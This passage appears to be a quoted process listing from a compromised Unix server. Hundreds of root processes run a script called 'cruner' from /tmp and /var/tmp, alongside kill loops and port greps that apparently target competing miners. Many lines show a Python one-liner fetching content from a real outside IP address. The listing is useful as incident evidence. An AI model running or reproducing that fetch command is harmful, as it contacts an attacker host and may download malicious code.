0:01 sh /var/tmp/cruner > root 24467 11287 0 - ? 0:00 <defunct> > root 17340 21919 0 - ? 0:00 <defunct> > root 28999 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7780 27259 0 15:45:54 ? 0:00 sleep 60 > root 13177 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19437 18215 0 15:45:56 ? 0:00 /bin/ksh -p /bin/kill -9 > root 22172 4679 0 15:43:28 ? 0:00 bash -sh > root 3434 29768 0 15:44:50 ? 0:00 bash -sh > root 23724 25735 0 - ? 0:00 <defunct> > root 8056 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18700 26309 0 15:45:22 ? 0:00 bash -sh > root 17451 13523 0 - ? 0:00 <defunct> > root 3787 27989 0 15:43:50 ? 0:00 bash -sh > root 8141 1443 0 15:45:09 ? 0:00 bash -sh > root 27231 2527 0 15:46:02 ? 0:00 sh /var/tmp/cruner > root 27227 7117 0 - ? 0:00 <defunct> > root 25615 10508 0 15:45:13 ? 0:00 sleep 60 > root 15295 28701 0 15:45:41 ? 0:00 sleep 60 > root 17517 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 10254 29138 0 15:44:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23647 8076 0 15:45:30 ? 0:00 sleep 60 > root 1702 17767 0 15:44:55 ? 0:00 bash -sh > root 8510 23917 0 - ? 0:00 <defunct> > root 14516 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13347 15693 0 15:45:11 ? 0:00 bash -sh > root 26255 7896 0 15:46:10 ? 0:00 sleep 60 > root 21060 10621 0 15:42:20 ? 0:00 bash -sh > root 2604 6101 0 15:45:53 ? 0:00 bash -sh > root 27672 2665 0 - ? 0:00 <defunct> > root 5211 26199 0 15:43:54 ? 0:00 bash -sh > root 22253 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 15610 23183 0 15:45:46 ? 0:00 bash -sh > root 26300 11202 0 15:45:18 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20998 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16172 15519 0 15:45:29 ? 0:00 sleep 60 > root 4492 209 0 15:45:24 ? 0:00 bash -sh > root 12049 15367 0 - ? 0:00 <defunct> > root 2196 14350 0 - ? 0:00 <defunct> > root 13131 9252 0 - ? 0:00 <defunct> > root 19868 19610 0 15:46:09 ? 0:00 bash -sh > root 27373 10087 0 15:45:39 ? 0:00 sleep 60 > root 24853 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3601 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20446 21722 0 15:46:00 ? 0:00 sleep 60 > root 9972 9860 0 15:45:55 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25090 21736 0 - ? 0:00 <defunct> > root 23257 9242 0 15:45:17 ? 0:00 sleep 60 > root 22332 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8034 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 24500 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16045 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6101 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 1966 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 10418 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 9076 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 8025 1 0 16:23:11 ? 0:01 sh /var/tmp/cruner > root 12264 14230 0 15:45:36 ? 0:00 bash -sh > root 16707 18329 0 15:46:00 ? 0:00 bash -sh > root 25934 6937 0 - ? 0:00 <defunct> > root 26277 10584 0 - ? 0:00 <defunct> > root 24606 13009 0 15:45:39 ? 0:00 bash -sh > root 1859 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26149 21198 0 15:44:59 ? 0:00 bash -sh > root 7593 6242 0 15:45:49 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19346 20257 0 15:45:38 ? 0:00 bash -sh > root 12588 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 12562 1256 0 - ? 0:00 <defunct> > root 2686 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11075 1159 0 - ? 0:00 <defunct> > root 26033 25288 0 15:46:01 ? 0:00 sleep 60 > root 10032 12605 0 15:46:07 ? 0:00 sleep 60 > root 8121 24947 0 - ? 0:00 <defunct> > root 893 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 22621 23212 0 - ? 0:00 <defunct> > root 14431 10181 0 15:44:52 ? 0:00 bash -sh > root 566 17466 0 15:45:44 ? 0:00 bash -sh > root 19085 23553 0 - ? 0:00 <defunct> > root 9166 6186 0 15:46:12 ? 0:00 xargs kill -9 > root 23005 4907 0 15:45:38 ? 0:00 bash -sh > root 11889 17847 0 - ? 0:00 <defunct> > root 24465 2583 0 - ? 0:00 <defunct> > root 26147 25222 0 15:45:57 ? 0:00 sleep 60 > root 889 27336 0 15:45:48 ? 0:00 sleep 60 > root 6881 1 0 Oct 06 ? 0:02 sh /var/tmp/cruner > root 29455 29015 0 15:45:14 ? 0:00 bash -sh > root 6614 28646 0 15:45:04 ? 0:00 bash -sh > root 11455 1336 0 15:45:59 ? 0:00 bash -sh > root 14789 16336 0 - ? 0:00 <defunct> > root 9066 16234 0 15:46:12 ? 0:00 bash -sh > root 19152 4243 0 - ? 0:00 <defunct> > root 24791 25004 0 - ? 0:00 <defunct> > root 21208 1 0 18:08:20 ? 0:01 sh /var/tmp/cruner > root 24632 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26901 13791 0 15:45:18 ? 0:00 sleep 60 > root 3905 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2668 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 23756 6856 0 15:45:43 ? 0:00 sh /var/tmp/cruner > root 11392 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27353 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17631 15858 0 - ? 0:00 <defunct> > root 27124 18569 0 15:46:02 ? 0:00 sh /var/tmp/cruner > root 8976 17814 0 15:46:12 ? 0:00 bash -sh > root 1002 22667 0 15:45:48 ? 0:00 sh /tmp/cruner > root 14383 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3147 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16812 11941 0 15:46:08 ? 0:00 xargs kill -9 > root 29529 11144 0 15:45:48 ? 0:00 bash -sh > root 20659 19803 0 15:46:00 ? 0:00 sleep 60 > root 4535 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 23677 20716 0 - ? 0:00 <defunct> > root 5471 17444 0 15:43:00 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18523 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16881 20380 0 15:46:00 ? 0:00 sh /tmp/cruner > root 28557 28550 0 15:46:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7325 8061 0 15:45:36 ? 0:00 bash -sh > root 5457 19571 0 - ? 0:00 <defunct> > root 27066 187 0 15:45:23 ? 0:00 sleep 60 > root 799 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27551 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13050 11545 0 - ? 0:00 <defunct> > root 27001 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18273 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22180 8740 0 - ? 0:00 <defunct> > root 20264 21453 0 - ? 0:00 <defunct> > root 17497 27608 0 15:43:12 ? 0:00 bash -sh > root 1626 24204 0 - ? 0:00 <defunct> > root 21980 714 0 15:44:53 ? 0:00 bash -sh > root 13722 5519 0 15:45:55 ? 0:00 sleep 60 > root 12169 10512 0 - ? 0:00 <defunct> > root 11663 11640 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15726 27387 0 15:45:41 ? 0:00 sh /var/tmp/cruner > root 23910 11649 0 15:46:10 ? 0:00 sleep 60 > root 174 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9193 14860 0 15:45:54 ? 0:00 sleep 60 > root 26195 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3935 10150 0 15:45:48 ? 0:00 sleep 60 > root 1089 9095 0 15:44:55 ? 0:00 bash -sh > root 7810 27638 0 15:45:25 ? 0:00 sleep 60 > root 13389 17134 0 15:45:37 ? 0:00 bash -sh > root 4395 24072 0 - ? 0:00 <defunct> > root 10263 23202 0 15:46:07 ? 0:00 sleep 60 > root 15622 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5226 14666 0 - ? 0:00 <defunct> > root 15847 15144 0 15:44:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17534 21763 0 - ? 0:00 <defunct> > root 29495 2251 0 15:44:10 ? 0:00 bash -sh > root 19669 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 471 15314 0 15:45:58 ? 0:00 sleep 60 > root 10550 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8248 14827 0 15:45:20 ? 0:00 sleep 60 > root 18602 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10455 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15865 14262 0 15:46:00 ? 0:00 bash -sh > root 490 17744 0 - ? 0:00 <defunct> > root 28631 747 0 - ? 0:00 <defunct> > root 1068 18552 0 - ? 0:00 <defunct> > root 6127 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 12045 7474 0 15:43:20 ? 0:00 bash -sh > root 9077 486 0 15:45:54 ? 0:00 bash -sh > root 16996 5797 0 15:46:00 ? 0:00 sleep 60 > root 1159 18707 0 15:45:39 ? 0:00 bash -sh > root 17161 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9507 25540 0 - ? 0:00 <defunct> > root 22913 2577 0 15:44:27 ? 0:00 bash -sh > root 12474 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17856 20328 0 - ? 0:00 <defunct> > root 28470 18010 0 15:45:34 ? 0:00 sleep 60 > root 17920 24256 0 15:44:48 ? 0:00 bash -sh > root 3135 26005 0 15:45:19 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23852 10485 0 - ? 0:00 <defunct> > root 27975 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26412 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27345 11950 0 15:46:02 ? 0:00 sh /var/tmp/cruner > root 28616 17601 0 15:45:53 ? 0:00 sleep 60 > root 27685 367 0 15:46:02 ? 0:00 bash -sh > root 29170 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21854 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15550 15535 0 15:45:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12548 1 0 19:52:46 ? 0:00 sh /var/tmp/cruner > root 24005 7952 0 15:45:43 ? 0:00 sleep 60 > root 3994 19004 0 15:46:11 ? 0:00 sleep 60 > root 23700 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17010 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4004 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15303 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6528 24913 0 15:46:06 ? 0:00 bash -sh > root 18073 18065 0 15:44:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13377 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 28718 29431 0 15:44:10 ? 0:00 bash -sh > root 1114 18359 0 15:42:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22250 13477 0 15:45:47 ? 0:00 xargs kill -9 > root 8823 17602 0 15:45:40 ? 0:00 bash -sh > root 11233 99 0 15:43:44 ? 0:00 bash -sh > root 21892 18804 0 15:45:47 ? 0:00 /bin/ksh -p /bin/kill -9 > root 10885 929 0 - ? 0:00 <defunct> > root 6353 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14866 2335 0 - ? 0:00 <defunct> > root 4041 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27523 26629 0 - ? 0:00 <defunct> > root 12910 29586 0 - ? 0:00 <defunct> > root 14917 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27488 11286 0 15:45:43 ? 0:00 xargs kill -9 > root 26018 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4710 921 0 - ? 0:00 <defunct> > root 19788 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7054 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 5937 8738 0 15:45:35 ? 0:00 bash -sh > root 7324 900 0 - ? 0:00 <defunct> > root 26505 14489 0 - ? 0:00 <defunct> > root 25776 6668 0 15:46:01 ? 0:00 bash -sh > root 29878 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23346 23325 0 15:45:30 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27767 5993 0 15:45:53 ? 0:00 sh /var/tmp/cruner > root 18627 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 18328 296 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 7557 9813 0 15:45:49 ? 0:00 bash -sh > root 27504 8959 0 15:46:02 ? 0:00 sleep 60 > root 6523 4234 0 15:44:42 ? 0:00 bash -sh > root 19611 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7709 16423 0 - ? 0:00 <defunct> > root 15225 29089 0 15:45:25 ? 0:00 /bin/ksh -p /bin/kill -9 > root 13397 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1379 15121 0 15:41:59 ? 0:00 bash -sh > root 22651 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10170 20772 0 15:45:55 ? 0:00 sleep 60 > root 13392 9195 0 15:45:59 ? 0:00 bash -sh > root 24835 18814 0 15:42:20 ? 0:00 bash -sh > root 26899 19720 0 15:46:02 ? 0:00 bash -sh > root 5320 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27459 27445 0 - ? 0:00 <defunct> > root 11238 7951 0 15:45:10 ? 0:00 bash -sh > root 14371 6707 0 15:45:37 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20234 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2078 29633 0 15:45:39 ? 0:00 sleep 60 > root 27371 23071 0 15:44:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29867 26606 0 - ? 0:00 <defunct> > root 15024 8754 0 15:46:00 ? 0:00 bash -sh > root 16110 14625 0 - ? 0:00 <defunct> > root 21502 23619 0 15:43:28 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15557 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10281 8336 0 15:43:26 ? 0:00 bash -sh > root 3284 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1742 10081 0 15:45:19 ? 0:00 sleep 60 > root 24481 17188 0 - ? 0:00 <defunct> > root 16514 18793 0 15:44:52 ? 0:00 bash -sh > root 6064 10066 0 15:45:35 ? 0:00 sleep 60 > root 14122 14121 0 - ? 0:00 <defunct> > root 12233 5321 0 15:45:21 ? 0:00 sleep 60 > root 9839 14350 0 15:46:12 ? 0:00 bash -sh > root 4267 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9530 22446 0 15:45:50 ? 0:00 sh /var/tmp/cruner > root 2836 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17616 25412 0 15:45:42 ? 0:00 bash -sh > root 12106 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 12054 9668 0 15:45:59 ? 0:00 sh /var/tmp/cruner > root 28959 27184 0 15:46:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6684 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26123 28154 0 15:45:47 ? 0:00 sleep 60 > root 13259 21545 0 15:45:37 ? 0:00 bash -sh > root 5075 3145 0 15:46:12 ? 0:00 /bin/ksh -p /bin/kill -9 > root 12985 13224 0 15:45:21 ? 0:00 sleep 60 > root 15567 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20991 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3615 3595 0 15:44:50 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15203 15191 0 - ? 0:00 <defunct> > root 24927 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25889 11048 0 15:46:01 ? 0:00 sleep 60 > root 11736 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 15204 5372 0 15:46:08 ? 0:00 bash -sh > root 7160 3313 0 - ? 0:00 <defunct> > root 18329 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16290 16178 0 15:45:46 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18424 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4033 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4121 25409 0 - ? 0:00 <defunct> > root 792 25510 0 15:45:48 ? 0:00 sleep 60 > root 15340 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 411 23747 0 - ? 0:00 <defunct> > root 24868 10060 0 - ? 0:00 <defunct> > root 15221 14179 0 15:45:41 ? 0:00 sleep 60 > root 29267 11996 0 15:44:55 ? 0:00 bash -sh > root 27844 27110 0 15:45:43 ? 0:00 sh /tmp/cruner > root 2808 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21079 18150 0 15:45:42 ? 0:00 sleep 60 > root 28276 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10934 10904 0 15:43:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10053 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 15669 1 0 01:29:18 ? 0:00 sh /var/tmp/cruner > root 6761 9227 0 15:45:35 ? 0:00 bash -sh > root 4117 15150 0 15:46:11 ? 0:00 grep :3333 > root 26516 27229 0 15:45:43 ? 0:00 sleep 60 > root 8058 28429 0 15:45:45 ? 0:00 bash -sh > root 25287 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17139 1454 0 15:43:27 ? 0:00 bash -sh > root 26313 17429 0 15:45:18 ? 0:00 sleep 60 > root 10343 28070 0 15:45:59 ? 0:00 bash -sh > root 29071 402 0 15:45:34 ? 0:00 sleep 60 > root 24915 19158 0 15:43:29 ? 0:00 bash -sh > root 3757 8813 0 15:46:11 ? 0:00 xargs kill -9 > root 13265 25184 0 15:45:59 ? 0:00 xargs kill -9 > root 7887 2016 0 15:46:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6965 7313 0 - ? 0:00 <defunct> > root 29034 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27579 20434 0 15:45:43 ? 0:00 bash -sh > root 3505 23427 0 15:45:48 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9560 18126 0 15:46:12 ? 0:00 bash -sh > root 15834 10536 0 - ? 0:00 <defunct> > root 8287 21548 0 - ? 0:00 <defunct> > root 8824 10840 0 - ? 0:00 <defunct> > root 27290 1874 0 15:46:02 ? 0:00 sleep 60 > root 29484 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2400 8294 0 15:45:31 ? 0:00 sleep 60 > root 18066 27400 0 15:45:37 ? 0:00 bash -sh > root 12403 12389 0 15:45:50 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17472 17987 0 - ? 0:00 <defunct> > root 1319 25552 0 15:44:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16406 15338 0 15:45:51 ? 0:00 bash -sh > root 18741 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 16001 14421 0 15:44:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11836 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 22197 28718 0 15:44:19 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 866 15567 0 15:44:33 ? 0:00 bash -sh > root 14387 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8684 26558 0 15:45:20 ? 0:00 sleep 60 > root 13193 26910 0 15:45:41 ? 0:00 xargs kill -9 > root 2736 25937 0 15:42:13 ? 0:00 bash -sh > root 17944 18957 0 - ? 0:00 <defunct> > root 7757 2103 0 - ? 0:00 <defunct> > root 22870 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 9391 18116 0 15:44:51 ? 0:00 bash -sh > root 23769 16900 0 15:46:05 ? 0:00 sleep 60 > root 10095 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4760 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24604 16987 0 15:46:01 ? 0:00 bash -sh > root 9756 28687 0 15:46:07 ? 0:00 awk {print $7} > root 8717 24560 0 15:45:40 ? 0:00 sh /var/tmp/cruner > root 26187 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28320 16198 0 15:46:10 ? 0:00 grep :4444 > root 4519 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15755 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23119 27422 0 15:45:07 ? 0:00 bash -sh > root 12302 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 12580 28106 0 15:45:55 ? 0:00 sleep 60 > root 27388 13189 0 15:45:34 ? 0:00 sleep 60 > root 10237 5583 0 15:44:04 ? 0:00 bash -sh > root 13757 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24649 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19904 15240 0 - ? 0:00 <defunct> > root 9106 17923 0 15:45:41 ? 0:00 sh /var/tmp/cruner > root 18833 21191 0 15:46:09 ? 0:00 sleep 60 > root 8294 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 11036 22239 0 15:45:32 ? 0:00 sleep 60 > root 29155 6128 0 15:43:07 ? 0:00 bash -sh > root 16041 2772 0 15:44:52 ? 0:00 bash -sh > root 8979 21303 0 - ? 0:00 <defunct> > root 16528 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18400 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17052 1 0 02:04:45 ? 0:00 sh /var/tmp/cruner > root 17252 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7899 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 9940 5740 0 - ? 0:00 <defunct> > root 22271 4118 0 15:45:02 ? 0:00 bash -sh > root 13981 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14526 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22297 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3799 24305 0 15:46:11 ? 0:00 sleep 60 > root 14410 4950 0 15:46:08 ? 0:00 bash -sh > root 22339 22317 0 15:45:42 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13515 25538 0 - ? 0:00 <defunct> > root 2256 2252 0 15:44:50 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12384 15865 0 15:46:08 ? 0:00 sed -e s/\/.*//g > root 23921 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16628 14675 0 - ? 0:00 <defunct> > root 8492 8480 0 15:46:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13440 25470 0 15:45:59 ? 0:00 xargs kill -9 > root 15546 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25664 11896 0 - ? 0:00 <defunct> > root 2679 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6052 6578 0 15:45:35 ? 0:00 sleep 60 > root 19791 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 26923 23687 0 15:44:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22475 7465 0 - ? 0:00 <defunct> > root 5040 7185 0 - ? 0:00 <defunct> > root 24185 17233 0 - ? 0:00 <defunct> > root 15534 15528 0 - ? 0:00 <defunct> > root 23051 21367 0 15:46:05 ? 0:00 bash -sh > root 24494 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13588 13548 0 - ? 0:00 <defunct> > root 8516 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24039 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 12742 11985 0 - ? 0:00 <defunct> > root 2244 4657 0 - ? 0:00 <defunct> > root 6937 25601 0 15:44:51 ? 0:00 bash -sh > root 7346 7322 0 15:46:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22035 19007 0 15:43:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11426 17301 0 15:43:19 ? 0:00 bash -sh > root 19808 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 28039 29345 0 15:44:37 ? 0:00 bash -sh > root 3394 4282 0 15:46:02 ? 0:00 sleep 60 > root 11449 28373 0 - ? 0:00 <defunct> > root 4188 14854 0 15:46:11 ? 0:00 grep :5555 > root 16074 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 17942 1159 0 - ? 0:00 <defunct> > root 5709 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20237 5379 0 15:45:42 ? 0:00 sleep 60 > root 4870 8305 0 - ? 0:00 <defunct> > root 15795 9631 0 15:45:46 ? 0:00 bash -sh > root 29286 27649 0 15:45:44 ? 0:00 sleep 60 > root 7180 11566 0 15:45:20 ? 0:00 sleep 60 > root 27542 22275 0 15:45:18 ? 0:00 sleep 60 > root 11799 4772 0 15:45:59 ? 0:00 bash -sh > root 24018 14255 0 - ? 0:00 <defunct> > root 23610 24703 0 15:45:02 ? 0:00 bash -sh > root 24101 12377 0 15:43:14 ? 0:00 bash -sh > root 23441 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3357 24309 0 - ? 0:00 <defunct> > root 20190 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 28612 15409 0 - ? 0:00 <defunct> > root 677 5645 0 15:43:41 ? 0:00 bash -sh > root 1976 23770 0 15:45:48 ? 0:00 sleep 60 > root 8009 8004 0 15:46:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 814 6798 0 - ? 0:00 <defunct> > root 9505 1917 0 15:46:12 ? 0:00 bash -sh > root 22301 16201 0 15:46:01 ? 0:00 sh /var/tmp/cruner > root 23194 19276 0 15:45:13 ? 0:00 sleep 60 > root 7252 3393 0 15:45:36 ? 0:00 sleep 60 > root 5271 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 7058 44 0 15:45:45 ? 0:00 bash -sh > root 29409 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 22127 1892 0 15:43:40 ? 0:00 bash -sh > root 22447 23465 0 15:45:17 ? 0:00 sleep 60 > root 8010 27117 0 15:46:12 ? 0:00 /bin/ksh -p /bin/kill -9 > root 4098 26018 0 15:45:58 ? 0:00 sleep 60 > root 22452 6452 0 15:45:23 ? 0:00 bash -sh > root 19304 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 16024 1608 0 15:44:35 ? 0:00 bash -sh > root 24098 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21407 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4355 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11073 7617 0 15:45:59 ? 0:00 bash -sh > root 18309 25469 0 - ? 0:00 <defunct> > root 13629 13614 0 15:44:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20273 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6899 4495 0 - ? 0:00 <defunct> > root 26665 26656 0 - ? 0:00 <defunct> > root 19751 13068 0 15:45:16 ? 0:00 bash -sh > root 15942 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21599 24160 0 - ? 0:00 <defunct> > root 29988 8877 0 15:45:34 ? 0:00 sleep 60 > root 18591 19888 0 15:45:33 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 143 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8166 6265 0 15:42:53 ? 0:00 bash -sh > root 20432 28687 0 15:46:09 ? 0:00 sed -e s/\/.*//g > root 12670 4796 0 15:46:04 ? 0:00 sleep 60 > root 25544 1092 0 - ? 0:00 <defunct> > root 20106 8522 0 15:44:53 ? 0:00 bash -sh > root 7080 9062 0 - ? 0:00 <defunct> > root 11582 3372 0 15:45:10 ? 0:00 bash -sh > root 19428 15966 0 - ? 0:00 <defunct> > root 6077 3856 0 15:43:18 ? 